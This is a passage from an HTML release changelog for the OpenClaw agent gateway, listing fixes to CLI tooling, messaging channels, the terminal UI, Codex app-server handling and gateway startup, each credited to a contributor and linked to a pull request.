<li>Checks/Parallels: make changed-lane scripts, shrinkwrap generation, and Parallels package smoke host commands run through native Windows-safe paths and <code>npm</code>/<code>pnpm</code> shims.</li>
<li>Release/package: run npm release, prepublish, and postpublish verification through Windows-safe npm command shims so native Windows checks can execute <code>npm.cmd</code> instead of treating it as a binary.</li>
<li>Agents/harness: pass CLI runtime aliases through harness selection so provider-owned CLI aliases no longer get rejected before reaching the right runtime. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506833876" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85631" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85631/hovercard" href="https://github.com/openclaw/openclaw/pull/85631">#85631</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/potterdigital/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/potterdigital">@potterdigital</a>.</li>
<li>Secrets: show the irreversible apply warning after interactive <code>secrets configure</code> confirmation so confirmed migrations still get the final safety prompt. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506862743" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85638" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85638/hovercard" href="https://github.com/openclaw/openclaw/pull/85638">#85638</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alkor2000/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alkor2000">@alkor2000</a>.</li>
<li>Agents/CLI output: ignore cumulative Claude <code>stream-json</code> result usage when assistant usage events are present, preventing inflated cache-read accounting. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506794947" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85625" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85625/hovercard" href="https://github.com/openclaw/openclaw/pull/85625">#85625</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhouhe-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhouhe-xydt">@zhouhe-xydt</a>.</li>
<li>CLI: keep <code>waitForever()</code> alive by leaving its keep-alive interval ref'd so the public helper no longer exits immediately with Node's unsettled-await code. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507745080" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85694" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85694/hovercard" href="https://github.com/openclaw/openclaw/pull/85694">#85694</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/m1qaweb/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/m1qaweb">@m1qaweb</a>.</li>
<li>Agents/bootstrap: guard bootstrap name checks against missing file names so malformed bootstrap entries warn and truncate instead of crashing. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505840430" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85523" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85523/hovercard" href="https://github.com/openclaw/openclaw/issues/85523">#85523</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506755578" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85615" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85615/hovercard" href="https://github.com/openclaw/openclaw/pull/85615">#85615</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhouhe-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhouhe-xydt">@zhouhe-xydt</a>.</li>
<li>CLI/tasks: reject partially numeric <code>openclaw tasks audit --limit</code> values so audit limits must be real positive integers instead of accepting strings like <code>5abc</code>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4493313282" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84901" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84901/hovercard" href="https://github.com/openclaw/openclaw/pull/84901">#84901</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jbetala7/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jbetala7">@jbetala7</a>.</li>
<li>Status/diagnostics: bound deep Docker audit probes so <code>openclaw status --deep</code> reports slow container checks instead of hanging behind unbounded inspection. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504716306" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85476" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85476/hovercard" href="https://github.com/openclaw/openclaw/pull/85476">#85476</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giodl73-repo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giodl73-repo">@giodl73-repo</a>.</li>
<li>Providers/Anthropic: migrate 1M context handling to GA-capable Claude 4.x models by sizing eligible models at 1M without the retired <code>context-1m-2025-08-07</code> beta, ignoring that retired beta in older configs, and preserving OAuth-required Anthropic beta headers. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4074276828" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/45613" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/45613/hovercard" href="https://github.com/openclaw/openclaw/pull/45613">#45613</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/haoyu-haoyu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/haoyu-haoyu">@haoyu-haoyu</a>.</li>
<li>Cron/Telegram: parse forum-topic delivery targets through the Telegram plugin instead of cron core, including <code>:topic:</code> and <code>:topicId</code> forms for announce delivery. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/etticat/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/etticat">@etticat</a>.</li>
<li>Twitch: keep stale message-handler cleanup callbacks from removing newer handler registrations for the same account, preserving inbound message delivery after reconnects. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4473949550" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83888" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83888/hovercard" href="https://github.com/openclaw/openclaw/issues/83888">#83888</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4503861323" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85425" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85425/hovercard" href="https://github.com/openclaw/openclaw/pull/85425">#85425</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alkor2000/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alkor2000">@alkor2000</a>.</li>
<li>Control UI/chat: keep light-mode model, thinking, config, and agents select arrows visible without tiling background icons. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508151360" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85713" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85713/hovercard" href="https://github.com/openclaw/openclaw/issues/85713">#85713</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Linux2010/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Linux2010">@Linux2010</a>.</li>
<li>Memory/LanceDB: expose public memory artifacts through the active memory provider bridge so memory-wiki imports durable memory files, daily notes, dream reports, and event logs without depending on memory-core internals. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4469394538" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83604" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83604/hovercard" href="https://github.com/openclaw/openclaw/issues/83604">#83604</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496988085" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85060" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85060/hovercard" href="https://github.com/openclaw/openclaw/pull/85060">#85060</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>.</li>
<li>Crabbox: keep AWS hydration compatible with local Actions replay by inlining the hydrate workflow's Node/pnpm setup instead of invoking repo-local composite actions.</li>
<li>Agents/subagents: simplify native sub-agent completion handoff so children report their latest visible assistant result to the requester without using <code>message</code>, while keeping parent-owned message-tool delivery policy intact. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497194072" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85070" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85070/hovercard" href="https://github.com/openclaw/openclaw/issues/85070">#85070</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497708252" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85089" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85089/hovercard" href="https://github.com/openclaw/openclaw/pull/85089">#85089</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>.</li>
<li>Docker setup: stop printing the Gateway bearer token in setup logs and printed follow-up commands.</li>
<li>Gateway: defer channel account startup work until HTTP readiness and remove startup model prewarm, avoiding startup event-loop stalls and timer-delay warnings.</li>
<li>Models/perf: reuse plugin metadata during models.json planning, keep bundled catalog augmentation manifest/static, and use static provider catalogs for metadata-only startup discovery so provider model normalization, auth discovery, and Gateway startup metadata do not reload broad plugin runtimes.</li>
<li>Agents: let embedded compaction fallback retries proceed when PI-compatible candidates do not need agent harness plugin preparation.</li>
<li>Agents/tools: honor configured custom provider API keys when deciding whether media, image-generation, video-generation, music-generation, and PDF tools are available. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506426602" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85570" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85570/hovercard" href="https://github.com/openclaw/openclaw/pull/85570">#85570</a>)</li>
<li>StepFun: stop advertising stale generic API key auth choices so onboarding only offers runtime-backed Standard and Step Plan choices.</li>
<li>Diagnostics: keep OpenTelemetry log bodies behind explicit content capture and scrub scoped agent-session keys from OpenTelemetry and Prometheus labels while preserving bounded queue-lane prefixes.</li>
<li>Windows installer: fail Git checkout installs when <code>pnpm install</code> or <code>pnpm build</code> fails instead of writing a wrapper to a missing CLI build.</li>
<li>Sessions: surface previous-transcript archive failures during <code>/new</code> rotation so disk rename errors are logged instead of silently hiding stranded transcript files. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4450603065" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81984" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/81984/hovercard" href="https://github.com/openclaw/openclaw/issues/81984">#81984</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506566941" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85586" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85586/hovercard" href="https://github.com/openclaw/openclaw/pull/85586">#85586</a>, from <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4452599340" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82081" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82081/hovercard" href="https://github.com/openclaw/openclaw/pull/82081">#82081</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xghost42/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xghost42">@0xghost42</a>.</li>
<li>TUI/agents: mirror internal-ui message-tool replies into final chat output so message-tool-only agents remain visible in <code>openclaw tui</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506023907" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85538" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85538/hovercard" href="https://github.com/openclaw/openclaw/issues/85538">#85538</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/danpolasek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/danpolasek">@danpolasek</a>.</li>
<li>Gateway/TUI: preserve source-reply metadata through reply normalization and emit message-tool-only agent replies over the live chat stream so <code>openclaw tui</code> renders Codex replies without waiting for a history refresh. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Codex/TUI: keep long source-reply runs alive after Codex reasoning completes so delayed visible <code>message</code> calls can still reach <code>openclaw tui</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>TUI: keep quiet active runs busy after the response watchdog notice instead of reopening the prompt and encouraging duplicate submissions while the backend turn is still running. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Agents: preserve the latest assistant thinking blocks while stripping invalid replay signatures from older turns, and retry Anthropic thinking failures without thinking replay. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506261816" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85557" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85557/hovercard" href="https://github.com/openclaw/openclaw/issues/85557">#85557</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bryanbaer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bryanbaer">@bryanbaer</a>.</li>
<li>Agents: keep parallel OpenAI-compatible tool-call deltas in separate argument buffers so interleaved tool calls no longer corrupt streamed arguments. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4456042108" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82263" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82263/hovercard" href="https://github.com/openclaw/openclaw/pull/82263">#82263</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luna-system/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luna-system">@luna-system</a>.</li>
<li>Telegram: avoid false pairing prompts after transient pairing-store read failures while preserving configured <code>allowFrom</code> and per-DM pairing authorization. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506247444" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85555" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85555/hovercard" href="https://github.com/openclaw/openclaw/pull/85555">#85555</a>)</li>
<li>Memory/doctor: report missing or unusable QMD workspace directories as workspace failures instead of generic binary failures. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4224755918" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63167" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/63167/hovercard" href="https://github.com/openclaw/openclaw/pull/63167">#63167</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sercada/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sercada">@sercada</a>.</li>
<li>Debug proxy: record CONNECT client-socket errors and destroy the paired upstream socket so abrupt client disconnects no longer leak tunnel resources. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4458576707" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82444" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82444/hovercard" href="https://github.com/openclaw/openclaw/pull/82444">#82444</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</li>
<li>Diffs: continue hydrating later diff cards when one card fails so a single broken card no longer blanks the whole diff viewer. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491329251" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84775" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84775/hovercard" href="https://github.com/openclaw/openclaw/pull/84775">#84775</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cosmopolitan033/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cosmopolitan033">@cosmopolitan033</a>.</li>
<li>Mac app: use the native settings sidebar window chrome so the sidebar toggle stays on the left and content no longer clips under oversized titlebar padding.</li>
<li>QA-Lab/Codex: bundle auth/plugin fixture imports for flow scenarios and let terminal async media tools end Codex app-server turns without timing out. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416570826" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80397" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80397/hovercard" href="https://github.com/openclaw/openclaw/issues/80397">#80397</a>, refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416039198" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80323" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80323/hovercard" href="https://github.com/openclaw/openclaw/pull/80323">#80323</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>WhatsApp: persist inbound message delivery state through plugin state before dispatch and delay read receipts until handler completion, so retryable failures can redeliver without adding a plugin-local disk cache. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</li>
<li>Gateway/agents: preserve fresh session overrides and metadata when stale cached agent-session entries race with store updates, so subagent model/provider overrides and routing policy survive concurrent writes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3953968159" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/19328" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/19328/hovercard" href="https://github.com/openclaw/openclaw/pull/19328">#19328</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CodeReclaimers/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CodeReclaimers">@CodeReclaimers</a>.</li>
<li>Control UI/chat: keep chat session search inline with the session selector so the header no longer shows a duplicate standalone search row.</li>
<li>Control UI/chat: collapse focused-mode header chrome and suppress hidden-header scroll updates so focus mode no longer jumps while scrolling. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>Codex app-server: restart the native app-server and retry once when server-side compaction times out, so preflight compaction stalls recover instead of failing every dispatch. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505443171" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85500" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85500/hovercard" href="https://github.com/openclaw/openclaw/pull/85500">#85500</a>)</li>
<li>Restore Control UI gateway token pairing [AI]. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504391156" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85459" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85459/hovercard" href="https://github.com/openclaw/openclaw/pull/85459">#85459</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>OpenAI video: honor configured provider request private-network opt-in for local/custom video endpoints so explicitly trusted mock and self-hosted providers are not blocked. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>OpenAI video: send uploaded video edit requests to the documented <code>/videos/edits</code> endpoint with a <code>video</code> file instead of posting MP4 references to <code>/videos</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Agents/channels: preserve message-tool delivery evidence through gateway agent completion handoffs so successful generated media sends are not followed by false failure messages. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>CLI/update: repair managed npm plugin <code>openclaw</code> peer links during post-core convergence and reject stale or wrong-target peer links before restart. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4473034358" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83794" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83794/hovercard" href="https://github.com/openclaw/openclaw/pull/83794">#83794</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>CLI/agents: default new omitted-account bindings to all accounts when the channel has multiple configured accounts, and clarify account-scope docs. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4094569524" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/49769" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/49769/hovercard" href="https://github.com/openclaw/openclaw/pull/49769">#49769</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Gcaufy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Gcaufy">@Gcaufy</a>.</li>
<li>Codex app-server: let authorized <code>/codex</code> control commands such as <code>/codex detach</code> escape plugin-owned conversation bindings while keeping unknown or unauthorized slash text routed to the bound plugin. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499059714" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85157" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85157/hovercard" href="https://github.com/openclaw/openclaw/issues/85157">#85157</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499435509" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85188" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85188/hovercard" href="https://github.com/openclaw/openclaw/pull/85188">#85188</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</li>
<li>Auto-reply/models: keep <code>/models</code> browse replies fast by sharing the bounded read-only catalog path with Gateway model listing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4490684687" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84735" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84735/hovercard" href="https://github.com/openclaw/openclaw/pull/84735">#84735</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/safrano9999/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/safrano9999">@safrano9999</a>.</li>
<li>Browser/Doctor: read macOS Chrome app bundle versions from <code>Info.plist</code> before spawning Chrome and extend the fallback version probe timeout, avoiding false cold-cache warnings from Gatekeeper latency. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4503650489" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85418" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85418/hovercard" href="https://github.com/openclaw/openclaw/issues/85418">#85418</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/davidcittadini/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/davidcittadini">@davidcittadini</a>.</li>
<li>Codex app-server: disable native Code Mode when the effective exec host is <code>node</code> and keep OpenClaw <code>exec</code>/<code>process</code> available, so <code>/exec host=node</code> routes shell commands through the selected node instead of the gateway. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496082157" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85012" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85012/hovercard" href="https://github.com/openclaw/openclaw/issues/85012">#85012</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497727664" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85090" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85090/hovercard" href="https://github.com/openclaw/openclaw/pull/85090">#85090</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sahilsatralkar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sahilsatralkar">@sahilsatralkar</a>.</li>
<li>Agents: bound embedded auto-compaction session write-lock watchdogs to the compaction timeout instead of the full run timeout, so stuck compaction cannot hold the live session lock for the whole run window. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4494569724" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84949" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84949/hovercard" href="https://github.com/openclaw/openclaw/pull/84949">#84949</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>.</li>
<li>Gateway/agents: return phase-aware <code>agent.wait</code> timeout attribution and only cool auth profiles on provider-started timeouts. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4249469795" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65504" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65504/hovercard" href="https://github.com/openclaw/openclaw/issues/65504">#65504</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>Gateway/systemd: launch managed update handoff helpers in a transient user scope so systemd-supervised Update Now flows survive the gateway unit restart. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4476025450" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84068" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84068/hovercard" href="https://github.com/openclaw/openclaw/issues/84068">#84068</a>.</li>
<li>Gateway: defer provider auth-state prewarm until after startup readiness so early gateway tool/session requests are not blocked by provider auth discovery. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4500834987" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85272" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85272/hovercard" href="https://github.com/openclaw/openclaw/pull/85272">#85272</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dutifulbob/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dutifulbob">@dutifulbob</a>.</li>
<li>Gateway/models: coalesce provider auth-state rewarms after auth-profile failures and log event-loop delay for warm/rewarm work, so provider auth bursts no longer stack full auth sweeps behind channel replies.</li>
<li>Gateway/models: stop cancelled provider auth-state prewarms from continuing full provider sweeps, so reload and auth-failure bursts no longer keep startup busy.</li>
<li>Agents/Codex: show the first plan update as a transient chat status notice without counting it as final assistant content.</li>
